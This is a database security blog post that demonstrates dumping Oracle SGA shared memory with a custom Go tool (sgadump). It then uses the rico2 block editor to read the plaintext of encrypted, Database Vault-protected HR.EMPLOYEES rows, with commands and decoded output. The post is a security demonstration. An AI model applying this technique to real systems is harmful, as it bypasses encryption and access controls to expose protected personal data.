Dumping SGA to read encrypted blocks


10.07.2018
by Kamil Stawiarski

After my last article AMM vs security, Martin Berger wrote to me:

well,
even without AMM you can do it:
write your own process which attaches to the same shm segments – and use its memory mapping (?)

My response was that it is also possible with ASMM but AMM makes it extremely easy. And this is because you can treat memory as regular binary files when operating on AMM.

Today I want to show you how dump blocks from SGA which is configured as ASMM to get into encrypted data which is also protected by Oracle Database Vault. To set up the environment I will use examples from a previous blog post.

Code for sgadump is written in GoLang, so please use those instructions to setup your environment: https://golang.org/doc/install

Please make sure that your ENV is set up properly:

1[oracle@rokoko ~]$ cat .bash_profile | grep go
2GOPATH=/home/oracle/go
3PATH=$PATH:/usr/local/go/bin:$GOPATH/bin

After installing GoLang you can do the following to compile my tool:

1[oracle@rokoko ~]$ mkdir -p ~/go/src/github.com/ghetzel
2[oracle@rokoko ~]$ mkdir -p ~/go/src/github.com/ora600pl
3[oracle@rokoko ~]$ cd ~/go/src/github.com/ghetzel
4[oracle@rokoko ghetzel]$ git clone https://github.com/ghetzel/shmtool
5Cloning into 'shmtool'...
6remote: Counting objects: 92, done.
7remote: Total 92 (delta 0), reused 0 (delta 0), pack-reused 92
8Unpacking objects: 100% (92/92), done.
9[oracle@rokoko ghetzel]$ cd ~/go/src/github.com/ora600pl
10[oracle@rokoko ora600pl]$ git clone https://github.com/ora600pl/sgadump
11Cloning into 'sgadump'...
12remote: Counting objects: 9, done.
13remote: Compressing objects: 100% (7/7), done.
14remote: Total 9 (delta 0), reused 9 (delta 0), pack-reused 0
15Unpacking objects: 100% (9/9), done.
16[oracle@rokoko ora600pl]$ cd sgadump/
17[oracle@rokoko sgadump]$ ls
18README.md  sgadump.go
19[oracle@rokoko sgadump]$ go install

If your ENV was setup properly, you’ll find a binary file under ~/go/bin/sgadump and use it like this:

1[oracle@rokoko sgadump]$ sgadump
2sgadump by Kamil Stawiarski (@ora600pl) - dumps database blocks from SGA.
3Usage: sgadump -b block_size -d data_object_id -s shmid -o output_file_name

Cool, now let’s make sure, that we are using ASMM and not AMM:

1SQL> sho parameters memory_target
2 
3NAME                     TYPE    VALUE
4------------------------------------ ----------- ------------------------------
5memory_target                big integer 0
6SQL> sho parameters sga_target
7 
8NAME                     TYPE    VALUE
9------------------------------------ ----------- ------------------------------
10sga_target               big integer 1120M

Now we will check if the tool works – first of all we have to check data_object_id of HR.EMPLOYEES, load encrypted data to memory, get ID_SHM for SGA and dump blocks. Easy, right? 🙂

1SQL> alter system flush buffer_cache;
2 
3Zmieniono system.
4 
5SQL> select data_object_id
6  from dba_objects
7  where object_name='EMPLOYEES'
8  and   owner='HR';
9 
10DATA_OBJECT_ID
11--------------
12     73865
13 
14SQL> select dbms_rowid.rowid_block_number(rowid) as bno, count(1)
15  from   hr.employees
16  group by dbms_rowid.rowid_block_number(rowid);
17 
18       BNO   COUNT(1)
19---------- ----------
20       132      9
21       131     98

So we now that rows from that table fit in 2 database blocks.
Now let’s try to dump them into a file using my simple tool.

1[oracle@rokoko sgadump]$ ipcs -m
2 
3------ Segmenty pamięci dzielonej ----
4klucz      id_shm     właściciel uprawn.    bajtów    podłączeń stan
50x00000000 262144     oracle     600        8622080    116
60x00000000 294913     oracle     600        1157627904 58
70x00000000 327682     oracle     600        8155136    58
80x91a6a268 360451     oracle     600        8192       58
9[oracle@rokoko sgadump]$ sgadump -b 8192 -d 73865 -s 294913 -o emps
10shmid = 294913   size is 1157627904, blocks = 141312
11Dumped 2 blocks to emps

Awesome! Now we can use rico2 to compare the content of encrypted blocks in a datafile and unencrypted ones in SGA.

1[oracle@rokoko ~]$ cat listfile.rico2
21 /home/oracle/go/src/github.com/ora600pl/sgadump/emps
32 /u01/app/oracle/oradata/DUPA12/datafile/o1_mf_secure_d_fn9jj6xy_.dbf
4[oracle@rokoko ~]$ python rico2.py listfile.rico2
5RICO v2 by Kamil Stawiarski (@ora600pl | www.ora-600.pl)
6This is open source project to map BBED functionality.
7If you know how to use BBED, you will know how to use this one.
8Not everything is documented but in most cases the code is trivial to interpret it.
9So if you don't know how to use this tool - then maybe you shouldn't ;)
10 
11Usage: python2.7 rico2.py listfile.txt
12The listfile.txt should contain the list of the DBF files you want to read
13 
14 !!! CAUTION !!!!
15 
16This tool should be used only to learn or in critical situations!
17The usage is not supported!
18If found on production system, this software should be considered as malware and deleted immediately!
19 
201   /home/oracle/go/src/github.com/ora600pl/sgadump/emps
212   /u01/app/oracle/oradata/DUPA12/datafile/o1_mf_secure_d_fn9jj6xy_.dbf
22rico2 > set dba 2,131
23    DBA     0x800083 (8388739 2,131)
24rico2 > map
25 File: /u01/app/oracle/oradata/DUPA12/datafile/o1_mf_secure_d_fn9jj6xy_.dbf(2)
26 Block: 131         Dba: 0x800083
27------------------------------------------------------------
28Wrong kind of block. Currently supported: 6.1
29182
30rico2 > d
31 File: /u01/app/oracle/oradata/DUPA12/datafile/o1_mf_secure_d_fn9jj6xy_.dbf(2)
32 Block: 131 Offsets: 0 to 512       Dba: 0x800083
33---------------------------------------------------------------
3406a20000 83004001 1f6d1900 00000114 | ......@..m......
35c2d40000 b64bd34f 98dcff3f 23d0c822 | .....K.O...?#.."
36ba1b1249 8e0d572f 740b8db7 f7fd6a15 | ...I..W/t.....j.
37679856ef a61c8130 896c0066 cd6b7a45 | g.V....0.l.f.kzE
38b3751eb2 b40cdeb6 8f16bbdf f9b4f53d | .u.............=
3950199851 dbe0dde9 5688576b 9e9df4a0 | P..Q....V.Wk....
400f481d54 b36b746f b98f6a21 0d13fb51 | .H.T.kto..j!...Q
41489b7825 4e94fd05 d2bbe1ce 7b117069 | H.x%N.......{.pi
4238c5ab56 e4ae4a77 2ff41926 5bb135d7 | 8..V..Jw/..&[.5.
43b4432e7a 630ca876 a52f5905 31ddcc10 | .C.zc..v./Y.1...
44dfcb778a 4573f718 44c1bb9d f89ab735 | ..w.Es..D......5
453518bf50 be236042 c49efe31 c72865dc | 5..P.#`B...1.(e.
4688827881 6c6ce355 2b14f312 bf9119af | ..x.ll.U+.......
475f53c4c5 7fd4c1a7 ac29c784 1c124019 | _S......)....@.
4846098a1e 42dd8b48 640b777b 49f20b58 | F...B..Hd.w{I..X
490cfd6491 cff43be9 a48013bc d336796b | ..d...;......6yk
507b3a2a3b 513dee44 8f7a5d6d 948c9d54 | {:*;Q=.D.z]m...T
517decaea7 37f35331 4b1a36a2 0fcd0c70 | }...7.S1K.6....p
524e83beae 72e03920 c7a218ba f4cb17e4 | N...r.9 ........
53d10d09f8 bb3e5aa4 be827849 b4b9522e | .....>Z...xI..R.
540c171483 fce82a0c 64b184da 7da1ef73 | ......*.d...}..s
558cd53b7b 66e46885 8855018a babb6669 | ..;{f.h..U....fi
56e1a79636 b66210d7 c27b6f43 43929a58 | ...6.b...{oCC..X
57915d44bf e6efe9d0 845c4c97 3c25d5fa | .]D......\L.<%..
5829d90c7d 11fe47f7 73213529 8c75a98b | )..}..G.s!5).u..
59cd30d13f a76adf74 c2bfe501 ec853a74 | .0.?.j.t......:t
60605f6641 b57c9a85 614d28f8 75c2253f | `_fA.|..aM(.u.%?
617dfcb3d8 7bcc1386 ab40d7e1 7a37b999 | }...{....@..z7..
62f9837dc3 c5073575 9181feaf 038ae706 | ..}...5u........
63c344ff1d 075b3b6b 7c07b118 3a88a3fd | .D...[;k|...:...
6423bb4a29 7170a48a 975818b7 21ce08a9 | #.J)qp...X..!...
65 
66<16 bytes per line>

As you can see I can’t read the encrypted block in a datafile. But let’s check the dump from SGA:

1rico2 > set dba 1,0
2    DBA     0x400000 (4194304 1,0)
3rico2 > map
4 File: /home/oracle/go/src/github.com/ora600pl/sgadump/emps(1)
5 Block: 0           Dba: 0x400000
6------------------------------------------------------------
7 DATA Table/Cluster
8 
9 struct kcbh, 20 bytes              @0
10 
11 struct ktbbh,  96 bytes            @20
12 
13 struct kdbh, 14 bytes              @124
14 
15 struct kdbt[1], 4 bytes            @138
16 
17 sb2 kdbr[9]                    @142
18 
19 ub1 freespace[7406]                @160
20 
21 ub1 rowdata[622]               @7566
22 
23 ub4 tailchk                    @8188
24 
25 
26rico2 > p *kdbr[0]
27rowdata[549]                @8115   0x2c
28-------------
29flag@8115:  0x2c
30lock@8116:  0x0
31cols@8117:  11
32 
33 
34col    0[3]     @8118:  c20263
35col    1[6]     @8122:  446f6e616c64
36col    2[8]     @8129:  4f436f6e6e656c6c
37col    3[8]     @8138:  444f434f4e4e454c
38col    4[12]    @8147:  3635302e3530372e39383333
39col    5[7]     @8160:  786b0615010101
40col    6[8]     @8168:  53485f434c45524b
41col    7[2]     @8177:  c21b
42col    8[0]     @8180:  *NULL*
43col    9[3]     @8181:  c20219
44col   10[2]     @8185:  c133
45 
46 
47rico2 > x /rncccctcnnnn
48rowdata[549]                @8115   0x2c
49-------------
50flag@8115:  0x2c
51lock@8116:  0x0
52cols@8117:  11
53 
54 
55col    0[3]     @8118:  c20263                                   198
56col    1[6]     @8122:  446f6e616c64                             Donald
57col    2[8]     @8129:  4f436f6e6e656c6c                         OConnell
58col    3[8]     @8138:  444f434f4e4e454c                         DOCONNEL
59col    4[12]    @8147:  3635302e3530372e39383333                 650.507.9833
60col    5[7]     @8160:  786b0615010101                           2007-06-21:00:00:00
61col    6[8]     @8168:  53485f434c45524b                         SH_CLERK
62col    7[2]     @8177:  c21b                                     2600
63col    8[0]     @8180:  *NULL*
64col    9[3]     @8181:  c20219                                   124
65col   10[2]     @8185:  c133                                     50

KaBoom! 🙂

So as you can see – it is possible even with ASMM but it is much, much harder and we don’t want to make things easy for potential "hackers" ;).
And nothing is impossible in IT. It can be just unaffordable… or it can take longer than a life of one generation 😉

Good security is made by people you know and people you should trust. Nothing will protect itself – no matter how fancy software you’ll buy. Even the most advanced autonomous software – human immunology system – requires maintenance and correct usage and – from time to time – diagnostic by an expert you trust.


Contact us

Database Whisperers sp. z o. o. sp. k.
al. Jerozolimskie 200, 3rd floor, room 342
02-486 Warszawa
NIP: 5272744987
REGON:362524978
+48 508 943 051
+48 661 966 009
info@ora-600.pl

Newsletter Sign up to be updated